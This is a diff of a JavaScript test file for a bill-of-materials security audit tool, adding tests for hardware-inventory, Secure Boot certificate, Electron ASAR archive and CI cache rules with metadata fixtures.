"redacted-by-default should not trigger HBC-005",
|
|
580
|
+
);
|
|
581
|
+
});
|
|
582
|
+
|
|
583
|
+
it("should not flag HBOM collector evidence as incomplete when BOM command evidence is present", async () => {
|
|
584
|
+
const rules = await loadRules(RULES_DIR);
|
|
585
|
+
const rule = rules.find((r) => r.id === "HBC-003");
|
|
586
|
+
|
|
587
|
+
const bom = makeHbomBom(
|
|
588
|
+
[],
|
|
589
|
+
[
|
|
590
|
+
["cdx:hbom:platform", "darwin"],
|
|
591
|
+
["cdx:hbom:architecture", "arm64"],
|
|
592
|
+
["cdx:hbom:identifierPolicy", "redacted-by-default"],
|
|
593
|
+
],
|
|
594
|
+
[
|
|
595
|
+
["cdx:hbom:collectorProfile", "darwin-arm64"],
|
|
596
|
+
["cdx:hbom:evidence:commandCount", "2"],
|
|
597
|
+
[
|
|
598
|
+
"cdx:hbom:evidence:command",
|
|
599
|
+
"system-profiler-json|platform|/usr/sbin/system_profiler SPHardwareDataType -json",
|
|
600
|
+
],
|
|
601
|
+
[
|
|
602
|
+
"cdx:hbom:evidence:command",
|
|
603
|
+
"battery-status|power|/usr/bin/pmset -g batt",
|
|
604
|
+
],
|
|
605
|
+
],
|
|
606
|
+
);
|
|
607
|
+
|
|
608
|
+
const findings = await evaluateRule(rule, bom);
|
|
609
|
+
assert.strictEqual(findings.length, 0);
|
|
610
|
+
});
|
|
611
|
+
|
|
612
|
+
it("should detect HBOM command diagnostics for missing utilities and permission-denied enrichments", async () => {
|
|
613
|
+
const rules = await loadRules(RULES_DIR);
|
|
614
|
+
const missingCommandsRule = rules.find((r) => r.id === "HBC-006");
|
|
615
|
+
const permissionDeniedRule = rules.find((r) => r.id === "HBC-007");
|
|
616
|
+
const firmwareRule = rules.find((r) => r.id === "HBC-008");
|
|
617
|
+
const boardRule = rules.find((r) => r.id === "HBC-009");
|
|
618
|
+
const displayRule = rules.find((r) => r.id === "HBC-010");
|
|
619
|
+
|
|
620
|
+
const bom = makeHbomBom(
|
|
621
|
+
[
|
|
622
|
+
makeHbomComponent("eDP-1", "display-connector", [
|
|
623
|
+
["cdx:hbom:displayConnectorType", "eDP"],
|
|
624
|
+
]),
|
|
625
|
+
],
|
|
626
|
+
[
|
|
627
|
+
["cdx:hbom:platform", "linux"],
|
|
628
|
+
["cdx:hbom:architecture", "amd64"],
|
|
629
|
+
],
|
|
630
|
+
[
|
|
631
|
+
["cdx:hbom:collectorProfile", "linux-amd64-v1"],
|
|
632
|
+
["cdx:hbom:analysis:missingCommandCount", "1"],
|
|
633
|
+
["cdx:hbom:analysis:missingCommands", "lsusb"],
|
|
634
|
+
[
|
|
635
|
+
"cdx:hbom:analysis:missingCommandIds",
|
|
636
|
+
"fwupdmgr-devices-json,edid-decode",
|
|
637
|
+
],
|
|
638
|
+
["cdx:hbom:analysis:permissionDeniedCount", "1"],
|
|
639
|
+
["cdx:hbom:analysis:permissionDeniedCommands", "drm_info"],
|
|
640
|
+
[
|
|
641
|
+
"cdx:hbom:analysis:permissionDeniedIds",
|
|
642
|
+
"dmidecode-firmware-board,drm-info-json",
|
|
643
|
+
],
|
|
644
|
+
["cdx:hbom:analysis:requiresPrivileged", "true"],
|
|
645
|
+
],
|
|
646
|
+
);
|
|
647
|
+
|
|
648
|
+
const missingCommandsFindings = await evaluateRule(
|
|
649
|
+
missingCommandsRule,
|
|
650
|
+
bom,
|
|
651
|
+
);
|
|
652
|
+
const permissionDeniedFindings = await evaluateRule(
|
|
653
|
+
permissionDeniedRule,
|
|
654
|
+
bom,
|
|
655
|
+
);
|
|
656
|
+
const firmwareFindings = await evaluateRule(firmwareRule, bom);
|
|
657
|
+
const boardFindings = await evaluateRule(boardRule, bom);
|
|
658
|
+
const displayFindings = await evaluateRule(displayRule, bom);
|
|
659
|
+
|
|
660
|
+
assert.strictEqual(missingCommandsFindings.length, 1);
|
|
661
|
+
assert.strictEqual(missingCommandsFindings[0].ruleId, "HBC-006");
|
|
662
|
+
assert.strictEqual(permissionDeniedFindings.length, 1);
|
|
663
|
+
assert.strictEqual(permissionDeniedFindings[0].ruleId, "HBC-007");
|
|
664
|
+
assert.strictEqual(firmwareFindings.length, 1);
|
|
665
|
+
assert.strictEqual(firmwareFindings[0].ruleId, "HBC-008");
|
|
666
|
+
assert.strictEqual(boardFindings.length, 1);
|
|
667
|
+
assert.strictEqual(boardFindings[0].ruleId, "HBC-009");
|
|
668
|
+
assert.strictEqual(displayFindings.length, 1);
|
|
669
|
+
assert.strictEqual(displayFindings[0].ruleId, "HBC-010");
|
|
670
|
+
});
|
|
671
|
+
|
|
672
|
+
it("should not flag redacted HBOM identifiers for the raw-identifier exposure rule", async () => {
|
|
673
|
+
const rules = await loadRules(RULES_DIR);
|
|
674
|
+
const rule = rules.find((r) => r.id === "HBS-004");
|
|
675
|
+
|
|
676
|
+
const bom = makeHbomBom(
|
|
677
|
+
[
|
|
678
|
+
makeHbomComponent("wifi0", "network-interface", [
|
|
679
|
+
["cdx:hbom:macAddress", "redacted:macAddress"],
|
|
680
|
+
]),
|
|
681
|
+
],
|
|
682
|
+
[
|
|
683
|
+
["cdx:hbom:platform", "darwin"],
|
|
684
|
+
["cdx:hbom:architecture", "arm64"],
|
|
685
|
+
["cdx:hbom:identifierPolicy", "redacted-by-default"],
|
|
686
|
+
["cdx:hbom:serialNumber", "redacted:serialNumber"],
|
|
687
|
+
["cdx:hbom:platformUuid", "redacted:platformUuid"],
|
|
688
|
+
],
|
|
689
|
+
[["cdx:hbom:collectorProfile", "darwin-arm64"]],
|
|
690
|
+
);
|
|
691
|
+
|
|
692
|
+
const findings = await evaluateRule(rule, bom);
|
|
693
|
+
assert.strictEqual(findings.length, 0);
|
|
694
|
+
});
|
|
695
|
+
|
|
696
|
+
it("should not flag redacted modem identifiers for the cellular exposure rule", async () => {
|
|
697
|
+
const rules = await loadRules(RULES_DIR);
|
|
698
|
+
const rule = rules.find((r) => r.id === "HBS-006");
|
|
699
|
+
|
|
700
|
+
const bom = makeHbomBom(
|
|
701
|
+
[
|
|
702
|
+
makeHbomComponent("LTE Modem", "modem", [
|
|
703
|
+
["cdx:hbom:imei", "redacted:imei"],
|
|
704
|
+
["cdx:hbom:ownNumbers", "redacted:ownNumbers"],
|
|
705
|
+
]),
|
|
706
|
+
],
|
|
707
|
+
[["cdx:hbom:identifierPolicy", "redacted-by-default"]],
|
|
708
|
+
);
|
|
709
|
+
|
|
710
|
+
const findings = await evaluateRule(rule, bom);
|
|
711
|
+
assert.strictEqual(findings.length, 0);
|
|
712
|
+
});
|
|
713
|
+
|
|
714
|
+
it("should not flag healthy storage telemetry for the degraded-storage HBOM rule", async () => {
|
|
715
|
+
const rules = await loadRules(RULES_DIR);
|
|
716
|
+
const rule = rules.find((r) => r.id === "HBP-002");
|
|
717
|
+
|
|
718
|
+
const bom = makeHbomBom([
|
|
719
|
+
makeHbomComponent("nvme0", "storage", [
|
|
720
|
+
["cdx:hbom:wearPercentageUsed", "12"],
|
|
721
|
+
["cdx:hbom:smartStatus", "ok"],
|
|
722
|
+
]),
|
|
723
|
+
]);
|
|
724
|
+
|
|
725
|
+
const findings = await evaluateRule(rule, bom);
|
|
726
|
+
assert.strictEqual(findings.length, 0);
|
|
727
|
+
});
|
|
728
|
+
|
|
729
|
+
it("should safely handle human-readable online memory size values for the HBOM memory rule", async () => {
|
|
730
|
+
const rules = await loadRules(RULES_DIR);
|
|
731
|
+
const rule = rules.find((r) => r.id === "HBP-006");
|
|
732
|
+
|
|
733
|
+
const bom = makeHbomBom([
|
|
734
|
+
makeHbomComponent("System Memory", "memory", [
|
|
735
|
+
["cdx:hbom:sizeBytes", "32899006464"],
|
|
736
|
+
["cdx:hbom:memoryOnlineSize", "32 GB"],
|
|
737
|
+
]),
|
|
738
|
+
]);
|
|
739
|
+
|
|
740
|
+
const findings = await evaluateRule(rule, bom);
|
|
741
|
+
assert.strictEqual(findings.length, 0);
|
|
742
|
+
});
|
|
743
|
+
|
|
744
|
+
it("should expand the hbom alias to all HBOM audit categories", async () => {
|
|
745
|
+
const bom = makeHbomBom(
|
|
746
|
+
[
|
|
747
|
+
makeHbomComponent("Main SSD", "storage", [
|
|
748
|
+
["cdx:hbom:isEncrypted", "false"],
|
|
749
|
+
["cdx:hbom:wearPercentageUsed", "90"],
|
|
750
|
+
]),
|
|
751
|
+
],
|
|
752
|
+
[
|
|
753
|
+
["cdx:hbom:platform", "linux"],
|
|
754
|
+
["cdx:hbom:identifierPolicy", "full"],
|
|
755
|
+
],
|
|
756
|
+
[["cdx:hbom:collectorProfile", "linux-amd64"]],
|
|
757
|
+
);
|
|
758
|
+
|
|
759
|
+
const findings = await auditBom(bom, {
|
|
760
|
+
bomAuditCategories: "hbom",
|
|
761
|
+
});
|
|
762
|
+
const categories = new Set(findings.map((finding) => finding.category));
|
|
763
|
+
|
|
764
|
+
assert.ok(categories.has("hbom-security"));
|
|
765
|
+
assert.ok(categories.has("hbom-performance"));
|
|
766
|
+
assert.ok(categories.has("hbom-compliance"));
|
|
767
|
+
});
|
|
768
|
+
|
|
769
|
+
it("should detect Collider packages missing valid wrap hashes (INT-014)", async () => {
|
|
770
|
+
const rules = await loadRules(RULES_DIR);
|
|
771
|
+
const rule = rules.find((r) => r.id === "INT-014");
|
|
772
|
+
assert.ok(rule, "INT-014 rule should exist");
|
|
773
|
+
|
|
774
|
+
const bom = makeBom([
|
|
775
|
+
makeComponent("fast_float", "8.0.2", [
|
|
776
|
+
["cdx:collider:dependencyKind", "transitive"],
|
|
777
|
+
["cdx:collider:hasWrapHash", "false"],
|
|
778
|
+
["cdx:collider:wrapHash", "not-a-sha256"],
|
|
779
|
+
["cdx:collider:wrapHashInvalid", "true"],
|
|
780
|
+
]),
|
|
781
|
+
]);
|
|
782
|
+
|
|
783
|
+
const findings = await evaluateRule(rule, bom);
|
|
784
|
+
assert.ok(findings.length > 0, "Should detect missing Collider wrap hash");
|
|
785
|
+
assert.strictEqual(findings[0].ruleId, "INT-014");
|
|
786
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
787
|
+
});
|
|
788
|
+
|
|
210
789
|
it("should detect OIDC token issuance to a non-official action (CI-002)", async () => {
|
|
211
790
|
const rules = await loadRules(RULES_DIR);
|
|
212
791
|
const rule = rules.find((r) => r.id === "CI-002");
|
|
@@ -273,17 +852,57 @@ describe("evaluateRule", () => {
|
|
|
273
852
|
assert.strictEqual(findings[0].severity, "critical");
|
|
274
853
|
});
|
|
275
854
|
|
|
276
|
-
it("should detect
|
|
855
|
+
it("should detect revoked Secure Boot certificates (OBOM-LNX-012)", async () => {
|
|
277
856
|
const rules = await loadRules(RULES_DIR);
|
|
278
|
-
const rule = rules.find((r) => r.id === "
|
|
279
|
-
assert.ok(rule, "
|
|
857
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-012");
|
|
858
|
+
assert.ok(rule, "OBOM-LNX-012 rule should exist");
|
|
280
859
|
|
|
281
|
-
const bom = makeBom(
|
|
282
|
-
[
|
|
283
|
-
|
|
284
|
-
|
|
285
|
-
|
|
286
|
-
|
|
860
|
+
const bom = makeBom([
|
|
861
|
+
makeComponent("dbx-entry", "key-id-1", [
|
|
862
|
+
["cdx:osquery:category", "secureboot_certificates"],
|
|
863
|
+
["revoked", "1"],
|
|
864
|
+
["subject", "CN=Legacy Bootloader"],
|
|
865
|
+
["issuer", "CN=Platform DBX"],
|
|
866
|
+
["serial", "42"],
|
|
867
|
+
]),
|
|
868
|
+
]);
|
|
869
|
+
|
|
870
|
+
const findings = await evaluateRule(rule, bom);
|
|
871
|
+
assert.ok(findings.length > 0, "Should detect revoked Secure Boot cert");
|
|
872
|
+
assert.strictEqual(findings[0].severity, "high");
|
|
873
|
+
});
|
|
874
|
+
|
|
875
|
+
it("should detect expiring Secure Boot certificates (OBOM-LNX-013)", async () => {
|
|
876
|
+
const rules = await loadRules(RULES_DIR);
|
|
877
|
+
const rule = rules.find((r) => r.id === "OBOM-LNX-013");
|
|
878
|
+
assert.ok(rule, "OBOM-LNX-013 rule should exist");
|
|
879
|
+
|
|
880
|
+
const bom = makeBom([
|
|
881
|
+
makeComponent("db-entry", "key-id-2", [
|
|
882
|
+
["cdx:osquery:category", "secureboot_certificates"],
|
|
883
|
+
["not_valid_after", `${Math.floor(Date.now() / 1000) + 86400}`],
|
|
884
|
+
["not_valid_before", `${Math.floor(Date.now() / 1000) - 86400}`],
|
|
885
|
+
["subject", "CN=Current Platform Key"],
|
|
886
|
+
["issuer", "CN=Firmware CA"],
|
|
887
|
+
]),
|
|
888
|
+
]);
|
|
889
|
+
|
|
890
|
+
const findings = await evaluateRule(rule, bom);
|
|
891
|
+
assert.ok(findings.length > 0, "Should detect expiring Secure Boot cert");
|
|
892
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
893
|
+
});
|
|
894
|
+
|
|
895
|
+
it("should detect a network-exposed non-official MCP server (MCP-003)", async () => {
|
|
896
|
+
const rules = await loadRules(RULES_DIR);
|
|
897
|
+
const rule = rules.find((r) => r.id === "MCP-003");
|
|
898
|
+
assert.ok(rule, "MCP-003 rule should exist");
|
|
899
|
+
|
|
900
|
+
const bom = makeBom(
|
|
901
|
+
[],
|
|
902
|
+
[],
|
|
903
|
+
[],
|
|
904
|
+
[
|
|
905
|
+
{
|
|
287
906
|
"bom-ref": "urn:service:mcp:custom-wrapper:0.1.0",
|
|
288
907
|
name: "custom-wrapper",
|
|
289
908
|
version: "0.1.0",
|
|
@@ -969,6 +1588,123 @@ describe("evaluateRule", () => {
|
|
|
969
1588
|
assert.strictEqual(findings[0].severity, "high");
|
|
970
1589
|
});
|
|
971
1590
|
|
|
1591
|
+
it("should detect eval-like archived JavaScript (ASAR-001)", async () => {
|
|
1592
|
+
const rules = await loadRules(RULES_DIR);
|
|
1593
|
+
const rule = rules.find((r) => r.id === "ASAR-001");
|
|
1594
|
+
assert.ok(rule, "ASAR-001 rule should exist");
|
|
1595
|
+
const bom = makeBom([
|
|
1596
|
+
{
|
|
1597
|
+
type: "file",
|
|
1598
|
+
name: "main.js",
|
|
1599
|
+
"bom-ref": "file:/tmp/app.asar#/main.js",
|
|
1600
|
+
properties: [
|
|
1601
|
+
{ name: "cdx:file:kind", value: "asar-entry" },
|
|
1602
|
+
{ name: "SrcFile", value: "/tmp/app.asar" },
|
|
1603
|
+
{ name: "cdx:asar:path", value: "main.js" },
|
|
1604
|
+
{ name: "cdx:asar:js:hasEval", value: "true" },
|
|
1605
|
+
],
|
|
1606
|
+
},
|
|
1607
|
+
]);
|
|
1608
|
+
const findings = await evaluateRule(rule, bom);
|
|
1609
|
+
assert.ok(findings.length > 0, "Should detect ASAR eval signal");
|
|
1610
|
+
assert.strictEqual(findings[0].ruleId, "ASAR-001");
|
|
1611
|
+
});
|
|
1612
|
+
|
|
1613
|
+
it("should detect archived JavaScript with network plus local access (ASAR-002)", async () => {
|
|
1614
|
+
const rules = await loadRules(RULES_DIR);
|
|
1615
|
+
const rule = rules.find((r) => r.id === "ASAR-002");
|
|
1616
|
+
assert.ok(rule, "ASAR-002 rule should exist");
|
|
1617
|
+
const bom = makeBom([
|
|
1618
|
+
{
|
|
1619
|
+
type: "file",
|
|
1620
|
+
name: "main.js",
|
|
1621
|
+
"bom-ref": "file:/tmp/app.asar#/main.js",
|
|
1622
|
+
properties: [
|
|
1623
|
+
{ name: "cdx:file:kind", value: "asar-entry" },
|
|
1624
|
+
{ name: "SrcFile", value: "/tmp/app.asar" },
|
|
1625
|
+
{ name: "cdx:asar:path", value: "main.js" },
|
|
1626
|
+
{ name: "cdx:asar:js:capability:network", value: "true" },
|
|
1627
|
+
{ name: "cdx:asar:js:capability:fileAccess", value: "true" },
|
|
1628
|
+
{ name: "cdx:asar:js:networkIndicators", value: "fetch(dynamic)" },
|
|
1629
|
+
],
|
|
1630
|
+
},
|
|
1631
|
+
]);
|
|
1632
|
+
const findings = await evaluateRule(rule, bom);
|
|
1633
|
+
assert.ok(findings.length > 0, "Should detect ASAR capability overlap");
|
|
1634
|
+
assert.strictEqual(findings[0].ruleId, "ASAR-002");
|
|
1635
|
+
});
|
|
1636
|
+
|
|
1637
|
+
it("should detect ASAR integrity mismatches (ASAR-003)", async () => {
|
|
1638
|
+
const rules = await loadRules(RULES_DIR);
|
|
1639
|
+
const rule = rules.find((r) => r.id === "ASAR-003");
|
|
1640
|
+
assert.ok(rule, "ASAR-003 rule should exist");
|
|
1641
|
+
const bom = makeBom([
|
|
1642
|
+
{
|
|
1643
|
+
type: "file",
|
|
1644
|
+
name: "settings.json",
|
|
1645
|
+
"bom-ref": "file:/tmp/app.asar#/settings.json",
|
|
1646
|
+
properties: [
|
|
1647
|
+
{ name: "cdx:file:kind", value: "asar-entry" },
|
|
1648
|
+
{ name: "SrcFile", value: "/tmp/app.asar" },
|
|
1649
|
+
{ name: "cdx:asar:path", value: "settings.json" },
|
|
1650
|
+
{ name: "cdx:asar:declaredIntegrityHash", value: "00" },
|
|
1651
|
+
{ name: "cdx:asar:integrityVerified", value: "false" },
|
|
1652
|
+
],
|
|
1653
|
+
},
|
|
1654
|
+
]);
|
|
1655
|
+
const findings = await evaluateRule(rule, bom);
|
|
1656
|
+
assert.ok(findings.length > 0, "Should detect ASAR integrity mismatch");
|
|
1657
|
+
assert.strictEqual(findings[0].ruleId, "ASAR-003");
|
|
1658
|
+
});
|
|
1659
|
+
|
|
1660
|
+
it("should detect embedded install scripts from ASAR-derived npm components (ASAR-004)", async () => {
|
|
1661
|
+
const rules = await loadRules(RULES_DIR);
|
|
1662
|
+
const rule = rules.find((r) => r.id === "ASAR-004");
|
|
1663
|
+
assert.ok(rule, "ASAR-004 rule should exist");
|
|
1664
|
+
const bom = makeBom([
|
|
1665
|
+
makeComponent("sketchy-addon", "0.1.0", [
|
|
1666
|
+
["SrcFile", "/tmp/app.asar#/package-lock.json"],
|
|
1667
|
+
["cdx:npm:hasInstallScript", "true"],
|
|
1668
|
+
["cdx:npm:risky_scripts", "preinstall"],
|
|
1669
|
+
]),
|
|
1670
|
+
]);
|
|
1671
|
+
const findings = await evaluateRule(rule, bom);
|
|
1672
|
+
assert.ok(
|
|
1673
|
+
findings.length > 0,
|
|
1674
|
+
"Should detect embedded ASAR install scripts",
|
|
1675
|
+
);
|
|
1676
|
+
assert.strictEqual(findings[0].ruleId, "ASAR-004");
|
|
1677
|
+
});
|
|
1678
|
+
|
|
1679
|
+
it("should detect failed Electron ASAR signing verification (ASAR-005)", async () => {
|
|
1680
|
+
const rules = await loadRules(RULES_DIR);
|
|
1681
|
+
const rule = rules.find((r) => r.id === "ASAR-005");
|
|
1682
|
+
assert.ok(rule, "ASAR-005 rule should exist");
|
|
1683
|
+
const bom = makeBom([
|
|
1684
|
+
{
|
|
1685
|
+
type: "application",
|
|
1686
|
+
name: "signed-app.asar",
|
|
1687
|
+
"bom-ref": "file:/tmp/Signed.app/Contents/Resources/app.asar",
|
|
1688
|
+
properties: [
|
|
1689
|
+
{ name: "cdx:file:kind", value: "asar-archive" },
|
|
1690
|
+
{
|
|
1691
|
+
name: "SrcFile",
|
|
1692
|
+
value: "/tmp/Signed.app/Contents/Resources/app.asar",
|
|
1693
|
+
},
|
|
1694
|
+
{ name: "cdx:asar:hasSigningMetadata", value: "true" },
|
|
1695
|
+
{ name: "cdx:asar:signingAlgorithm", value: "SHA256" },
|
|
1696
|
+
{ name: "cdx:asar:signingDeclaredHash", value: "deadbeef" },
|
|
1697
|
+
{ name: "cdx:asar:signingSource", value: "Info.plist" },
|
|
1698
|
+
{ name: "cdx:asar:signingScope", value: "header-only" },
|
|
1699
|
+
{ name: "cdx:asar:signingVerified", value: "false" },
|
|
1700
|
+
],
|
|
1701
|
+
},
|
|
1702
|
+
]);
|
|
1703
|
+
const findings = await evaluateRule(rule, bom);
|
|
1704
|
+
assert.ok(findings.length > 0, "Should detect failed ASAR signing");
|
|
1705
|
+
assert.strictEqual(findings[0].ruleId, "ASAR-005");
|
|
1706
|
+
});
|
|
1707
|
+
|
|
972
1708
|
it("should return empty findings when no components match", async () => {
|
|
973
1709
|
const rules = await loadRules(RULES_DIR);
|
|
974
1710
|
const rule = rules.find((r) => r.id === "CI-001");
|
|
@@ -1184,11 +1920,7 @@ describe("evaluateRule", () => {
|
|
|
1184
1920
|
|
|
1185
1921
|
const findings = await evaluateRule(rule, bom);
|
|
1186
1922
|
assert.ok(findings.length > 0, "Should detect runner-state mutation");
|
|
1187
|
-
assert.deepStrictEqual(findings[0].attackTactics, [
|
|
1188
|
-
"TA0003",
|
|
1189
|
-
"TA0004",
|
|
1190
|
-
"TA0005",
|
|
1191
|
-
]);
|
|
1923
|
+
assert.deepStrictEqual(findings[0].attackTactics, ["TA0002"]);
|
|
1192
1924
|
});
|
|
1193
1925
|
|
|
1194
1926
|
it("should detect outbound commands that reference sensitive context (CI-015)", async () => {
|
|
@@ -1434,1300 +2166,2545 @@ describe("evaluateRule", () => {
|
|
|
1434
2166
|
assert.match(findings[0].message, /Heuristic review/);
|
|
1435
2167
|
});
|
|
1436
2168
|
|
|
1437
|
-
it("should detect
|
|
2169
|
+
it("should detect disabled npm cache when npm distributions are resolved remotely (CI-022)", async () => {
|
|
1438
2170
|
const rules = await loadRules(RULES_DIR);
|
|
1439
|
-
const rule = rules.find((r) => r.id === "
|
|
1440
|
-
assert.ok(rule, "
|
|
1441
|
-
|
|
1442
|
-
const bom = makeBom([
|
|
1443
|
-
{
|
|
1444
|
-
type: "data",
|
|
1445
|
-
name: "root",
|
|
1446
|
-
version: "ssh-rsa",
|
|
1447
|
-
description: "",
|
|
1448
|
-
purl: "pkg:swid/root-authorized-keys",
|
|
1449
|
-
"bom-ref": "pkg:swid/root-authorized-keys",
|
|
1450
|
-
properties: [
|
|
1451
|
-
{ name: "cdx:osquery:category", value: "authorized_keys_snapshot" },
|
|
1452
|
-
{ name: "key_file", value: "/root/.ssh/authorized_keys" },
|
|
1453
|
-
{ name: "options", value: "" },
|
|
1454
|
-
],
|
|
1455
|
-
},
|
|
1456
|
-
]);
|
|
2171
|
+
const rule = rules.find((r) => r.id === "CI-022");
|
|
2172
|
+
assert.ok(rule, "CI-022 rule should exist");
|
|
1457
2173
|
|
|
1458
|
-
const
|
|
1459
|
-
|
|
1460
|
-
|
|
1461
|
-
|
|
2174
|
+
const bom = makeBom(
|
|
2175
|
+
[
|
|
2176
|
+
{
|
|
2177
|
+
type: "library",
|
|
2178
|
+
name: "left-pad",
|
|
2179
|
+
version: "1.3.0",
|
|
2180
|
+
purl: "pkg:npm/left-pad@1.3.0",
|
|
2181
|
+
"bom-ref": "pkg:npm/left-pad@1.3.0",
|
|
2182
|
+
externalReferences: [
|
|
2183
|
+
{
|
|
2184
|
+
type: "distribution",
|
|
2185
|
+
url: "https://registry.npmjs.org/left-pad/-/left-pad-1.3.0.tgz",
|
|
2186
|
+
},
|
|
2187
|
+
],
|
|
2188
|
+
properties: [
|
|
2189
|
+
{
|
|
2190
|
+
name: "cdx:npm:manifestSourceType",
|
|
2191
|
+
value: "url",
|
|
2192
|
+
},
|
|
2193
|
+
{
|
|
2194
|
+
name: "cdx:npm:manifestSource",
|
|
2195
|
+
value: "https://registry.npmjs.org/left-pad/-/left-pad-1.3.0.tgz",
|
|
2196
|
+
},
|
|
2197
|
+
],
|
|
2198
|
+
},
|
|
2199
|
+
],
|
|
2200
|
+
[],
|
|
2201
|
+
[
|
|
2202
|
+
{
|
|
2203
|
+
type: "application",
|
|
2204
|
+
name: "setup-node",
|
|
2205
|
+
version: "v4",
|
|
2206
|
+
purl: "pkg:github/actions/setup-node@v4",
|
|
2207
|
+
"bom-ref": "pkg:github/actions/setup-node@v4",
|
|
2208
|
+
properties: [
|
|
2209
|
+
{
|
|
2210
|
+
name: "cdx:github:action:uses",
|
|
2211
|
+
value: "actions/setup-node@v4",
|
|
2212
|
+
},
|
|
2213
|
+
{ name: "cdx:github:action:disablesBuildCache", value: "true" },
|
|
2214
|
+
{ name: "cdx:github:action:buildCacheEcosystem", value: "npm" },
|
|
2215
|
+
{
|
|
2216
|
+
name: "cdx:github:action:buildCacheDisableInput",
|
|
2217
|
+
value: "package-manager-cache",
|
|
2218
|
+
},
|
|
2219
|
+
{
|
|
2220
|
+
name: "cdx:github:action:buildCacheDisableValue",
|
|
2221
|
+
value: "false",
|
|
2222
|
+
},
|
|
2223
|
+
{
|
|
2224
|
+
name: "cdx:github:workflow:file",
|
|
2225
|
+
value: ".github/workflows/ci.yml",
|
|
2226
|
+
},
|
|
2227
|
+
],
|
|
2228
|
+
},
|
|
2229
|
+
],
|
|
1462
2230
|
);
|
|
1463
|
-
assert.strictEqual(findings[0].severity, "medium");
|
|
1464
|
-
});
|
|
1465
|
-
|
|
1466
|
-
it("should detect degraded Windows Security Center posture (OBOM-WIN-002)", async () => {
|
|
1467
|
-
const rules = await loadRules(RULES_DIR);
|
|
1468
|
-
const rule = rules.find((r) => r.id === "OBOM-WIN-002");
|
|
1469
|
-
assert.ok(rule, "OBOM-WIN-002 rule should exist");
|
|
1470
|
-
|
|
1471
|
-
const bom = makeBom([
|
|
1472
|
-
makeComponent("Poor", "Poor", [
|
|
1473
|
-
["cdx:osquery:category", "windows_security_center"],
|
|
1474
|
-
]),
|
|
1475
|
-
]);
|
|
1476
2231
|
|
|
1477
2232
|
const findings = await evaluateRule(rule, bom);
|
|
1478
|
-
assert.ok(findings.length > 0, "Should detect
|
|
1479
|
-
assert.strictEqual(findings[0].severity, "
|
|
2233
|
+
assert.ok(findings.length > 0, "Should detect disabled npm cache");
|
|
2234
|
+
assert.strictEqual(findings[0].severity, "medium");
|
|
1480
2235
|
});
|
|
1481
2236
|
|
|
1482
|
-
it("should detect
|
|
2237
|
+
it("should detect disabled npm cache for git manifest sources (CI-022)", async () => {
|
|
1483
2238
|
const rules = await loadRules(RULES_DIR);
|
|
1484
|
-
const rule = rules.find((r) => r.id === "
|
|
1485
|
-
assert.ok(rule, "
|
|
2239
|
+
const rule = rules.find((r) => r.id === "CI-022");
|
|
2240
|
+
assert.ok(rule, "CI-022 rule should exist");
|
|
1486
2241
|
|
|
1487
|
-
const bom = makeBom(
|
|
1488
|
-
|
|
1489
|
-
|
|
1490
|
-
|
|
1491
|
-
|
|
1492
|
-
|
|
1493
|
-
"
|
|
1494
|
-
|
|
1495
|
-
|
|
1496
|
-
|
|
1497
|
-
|
|
1498
|
-
|
|
1499
|
-
|
|
1500
|
-
|
|
2242
|
+
const bom = makeBom(
|
|
2243
|
+
[
|
|
2244
|
+
{
|
|
2245
|
+
type: "library",
|
|
2246
|
+
name: "git-dep",
|
|
2247
|
+
version: "2.0.0",
|
|
2248
|
+
purl: "pkg:npm/git-dep@2.0.0",
|
|
2249
|
+
"bom-ref": "pkg:npm/git-dep@2.0.0",
|
|
2250
|
+
externalReferences: [
|
|
2251
|
+
{
|
|
2252
|
+
type: "distribution",
|
|
2253
|
+
url: "git+https://github.com/acme/git-dep.git",
|
|
2254
|
+
},
|
|
2255
|
+
],
|
|
2256
|
+
properties: [
|
|
2257
|
+
{
|
|
2258
|
+
name: "cdx:npm:manifestSourceType",
|
|
2259
|
+
value: "git",
|
|
2260
|
+
},
|
|
2261
|
+
{
|
|
2262
|
+
name: "cdx:npm:manifestSource",
|
|
2263
|
+
value: "git+https://github.com/acme/git-dep.git",
|
|
2264
|
+
},
|
|
2265
|
+
],
|
|
2266
|
+
},
|
|
2267
|
+
],
|
|
2268
|
+
[],
|
|
2269
|
+
[
|
|
2270
|
+
{
|
|
2271
|
+
type: "application",
|
|
2272
|
+
name: "setup-node",
|
|
2273
|
+
version: "v4",
|
|
2274
|
+
purl: "pkg:github/actions/setup-node@v4",
|
|
2275
|
+
"bom-ref": "pkg:github/actions/setup-node@v4",
|
|
2276
|
+
properties: [
|
|
2277
|
+
{
|
|
2278
|
+
name: "cdx:github:action:uses",
|
|
2279
|
+
value: "actions/setup-node@v4",
|
|
2280
|
+
},
|
|
2281
|
+
{ name: "cdx:github:action:disablesBuildCache", value: "true" },
|
|
2282
|
+
{ name: "cdx:github:action:buildCacheEcosystem", value: "npm" },
|
|
2283
|
+
],
|
|
2284
|
+
},
|
|
2285
|
+
],
|
|
2286
|
+
);
|
|
1501
2287
|
|
|
1502
2288
|
const findings = await evaluateRule(rule, bom);
|
|
1503
|
-
assert.ok(findings.length > 0, "Should detect
|
|
1504
|
-
assert.strictEqual(findings[0].severity, "critical");
|
|
2289
|
+
assert.ok(findings.length > 0, "Should detect disabled npm cache");
|
|
1505
2290
|
});
|
|
1506
2291
|
|
|
1507
|
-
it("should detect
|
|
2292
|
+
it("should not detect disabled npm cache for registry-only npm dependencies (CI-022)", async () => {
|
|
1508
2293
|
const rules = await loadRules(RULES_DIR);
|
|
1509
|
-
const rule = rules.find((r) => r.id === "
|
|
1510
|
-
assert.ok(rule, "
|
|
2294
|
+
const rule = rules.find((r) => r.id === "CI-022");
|
|
2295
|
+
assert.ok(rule, "CI-022 rule should exist");
|
|
1511
2296
|
|
|
1512
|
-
const bom = makeBom(
|
|
1513
|
-
|
|
1514
|
-
|
|
1515
|
-
|
|
1516
|
-
|
|
1517
|
-
|
|
2297
|
+
const bom = makeBom(
|
|
2298
|
+
[
|
|
2299
|
+
{
|
|
2300
|
+
type: "library",
|
|
2301
|
+
name: "left-pad",
|
|
2302
|
+
version: "1.3.0",
|
|
2303
|
+
purl: "pkg:npm/left-pad@1.3.0",
|
|
2304
|
+
"bom-ref": "pkg:npm/left-pad@1.3.0",
|
|
2305
|
+
externalReferences: [
|
|
2306
|
+
{
|
|
2307
|
+
type: "distribution",
|
|
2308
|
+
url: "https://registry.npmjs.org/left-pad/-/left-pad-1.3.0.tgz",
|
|
2309
|
+
},
|
|
2310
